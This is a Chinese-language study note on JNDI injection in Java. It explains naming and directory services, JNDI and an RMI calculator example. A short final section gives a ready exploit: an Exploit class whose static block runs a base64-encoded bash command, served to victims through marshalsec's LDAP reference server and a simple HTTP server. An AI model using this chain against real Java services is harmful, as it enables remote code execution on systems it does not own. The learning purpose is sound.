JNDI注入
# Java JNDI注入学习笔记
# 什么是JNDI
JNDI 全称为 Java Naming and Directory Interface
# Naming
直译来说就是“名称”,但更多情况下是与 Naming Service 一起使用。所谓名称服务,简单来说就是通过名称查找实际对象的服务。这是个抽象概念,正如数学中的理论所言: 普适的代价就是抽象。名称服务普遍存在于计算机系统中,比如:
- DNS: 通过域名查找实际的 IP 地址;
- 文件系统: 通过文件名定位到具体的文件;
- 微信: 通过一个微信 ID 找到背后的实际用户(并进行对话);
- ...
通常我们根据名称系统(naming system)定义的命名规则去查找具体的对象,比如在 UNIX 文件系统中,名称(路径)规则就是以根目录为起点,并以 / 号分隔逐级查找子目录;DNS 名称系统中则是要求名称(域名)从右到左 进行逐级定义,并以点号 . 进行分隔。
其中另一个值得一提的名称服务为 LDAP,全称为 Lightweight Directory Access Protocol,即轻量级目录访问协议,其名称也是从右到左进行逐级定义,各级以逗号分隔,每级为一个 name/value 对,以等号分隔。比如一个 LDAP 名称如下:
cn=John, o=Sun, c=US
即表示在 c=US 的子域中查找 o=Sun 的子域,再在结果中查找 cn=John 的对象。关于 LDAP 的详细介绍见后文。
在名称系统中,有几个重要的概念。
Bindings: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。
Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)。
References: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。
# Directory
目录服务是名称服务的一种拓展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(attributes)信息。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。
以打印机服务为例,我们可以在命名服务中根据打印机名称去获取打印机对象(引用),然后进行打印操作;同时打印机拥有速率、分辨率、颜色等属性,作为目录服务,用户可以根据打印机的分辨率去搜索对应的打印机对象。
目录服务(Directory Service)提供了对目录中对象(directory objects)的属性进行增删改查的操作。一些典型的目录服务有:
- NIS: Network Information Service,Solaris 系统中用于查找系统相关信息的目录服务;
- Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;
- 其他基于 LDAP 协议实现的目录服务;
总而言之,目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search)操作去定位对象,而不是简单的根据名称查找(lookup)去定位。
在下文中如果没有特殊指明,都会将名称服务与目录服务统称为目录服务。
# Interface
根据上面的介绍,我们知道目录服务是中心化网络应用的一个重要组件。使用目录服务可以简化应用中服务管理验证逻辑,集中存储共享信息。在 Java 应用中除了以常规方式使用名称服务(比如使用 DNS 解析域名),另一个常见的用法是使用目录服务作为对象存储的系统,即用目录服务来存储和获取 Java 对象。
比如对于打印机服务,我们可以通过在目录服务中查找打印机,并获得一个打印机对象,基于这个 Java 对象进行实际的打印操作。
为此,就有了 JNDI,即 Java 的名称与目录服务接口,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI 独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。
JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示:
SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:
- RMI: Java Remote Method Invocation,Java 远程方法调用;
- LDAP: 轻量级目录访问协议;
- CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);
除此之外,用户还可以在 Java 官网下载其他目录服务实现。由于 SPI 的统一接口,厂商也可以提供自己的私有目录服务实现,用户可无需重复修改代码。
JNDI 接口主要分为下述 5 个包:
javax.naming
javax.naming.directory
javax.naming.event
javax.naming.ldap
javax.naming.spi
2
3
4
5
# RMI
# Server
在RMI远程调用中,类似c语言中的头文件和源文件,我们的声明和实现是分开的(客户端只关心调用结果而不关系实现方法),所以我们需要抽象出一个接口,为了让其能被远程调用我们需要让这个接口继承java.rmi.Remote
package xyz.eki;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}
2
3
4
5
6
7
8
9
然后我们实现这个接口
package xyz.eki;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class Calc extends UnicastRemoteObject implements ICalc{
private int baseNumber = 123;
protected Calc() throws RemoteException {
}
@Override
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = baseNumber;
for (Integer param : params) {
sum += param;
}
return sum;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Server部分所需要的东西就完成了
# Registry
Registry的注册很简单,只需要调用java给我们提供好的Registry类即可,这里我们调用LocateRegistry.createRegistry
建立一个Registry,监听1099端口,同时将clac这个对象实例绑定到register的"calc"路径上。
{
Registry registry = LocateRegistry.createRegistry(1099);
ICalc calc = new Calc();
registry.bind("calc",calc);
}
2
3
4
5
事实上"calc"
是一种缩写,如果我们想要绑定监听的域名或者ip可以通过来实现
Naming.bind("rmi://example.com:1099/calc", clac);
# Client
通过Registry远程调用Server上实例对象的方法,因为只需要接口的方法,所以只要在Client端有一份接口的定义就行了
package xyz.eki;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}
2
3
4
5
6
7
8
9
10
然后通过LocateRegistry.getRegistry
方法访问Registry得到registry对象,通过lookup方法拿到绑定在"calc"上的实例对象,并调用其方法
package xyz.eki;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.List;
public class Main {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("192.168.111.1", 1099);
ICalc calc = (ICalc) registry.lookup("calc");
List<Integer> li = new ArrayList<Integer>();
li.add(1);
li.add(2);
System.out.println(calc.sum(li));
} catch (Exception e) {
e.printStackTrace();
}
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Test
分别运行示例中的客户端和服务端
可以看到最后在客户端输出的结果为126
这也就印证了我们之前说的对象实际是在远程服务端执行方法然后再把结果回传给客户端
# Remote Class Inject
//TODO
# Local Class Inject
//TODO
# LDAP
NDI : 全称:JAVA NAMING AND Directory interface 解释:java 命名目录访问接口:java 命名服务和目录服务而提供的统一API。 理解:通过命名来访问需要的资源,类似DNS服务,可通过 key-value的形式。
LDAP : 全称:LIGHTWEIGHT DIRECTORY ACCESS Protocol 解释: 轻量级目录访问协议。是在20世纪90年代早期作为标准目录协议进行开发的。它是目前最流行的目录协议,与厂商、具体平台无关。LDAP用统一的方式定义了如何访问目录服务中的内容,比如增加、修改、删除一个条目 理解:LDAP用统一的方式定义了如何访问目录服务中的内容,比如增加、修改、删除一个条目。 LDAP 是协议,LDAP 服务可以理解为“层次数据库”服务,相比关系型数据库,查询更快。
# 利用工具
# marshalsec
Exp
public class Exploit {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,<base64 cmd>}|{base64,-d}|{bash,-i}");
} catch (Exception e) {
e.printStackTrace();
}
}
}
2
3
4
5
6
7
8
9
10
编译生成Exploit.class
使用marshalsec (opens new window)工具将ldap请求转到http服务上
java -cp marslsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:port/#Exploit
启动一个http server
使得访问http://ip:port/Exploit.class
能获取到class文件
可以利用python -m SimpleHTTPServer <port>
或php -S 0.0.0.0:<port>
# 参考资料
JNDI 注入漏洞的前世今生 https://evilpan.com/2021/12/13/jndi-injection/#jndi-101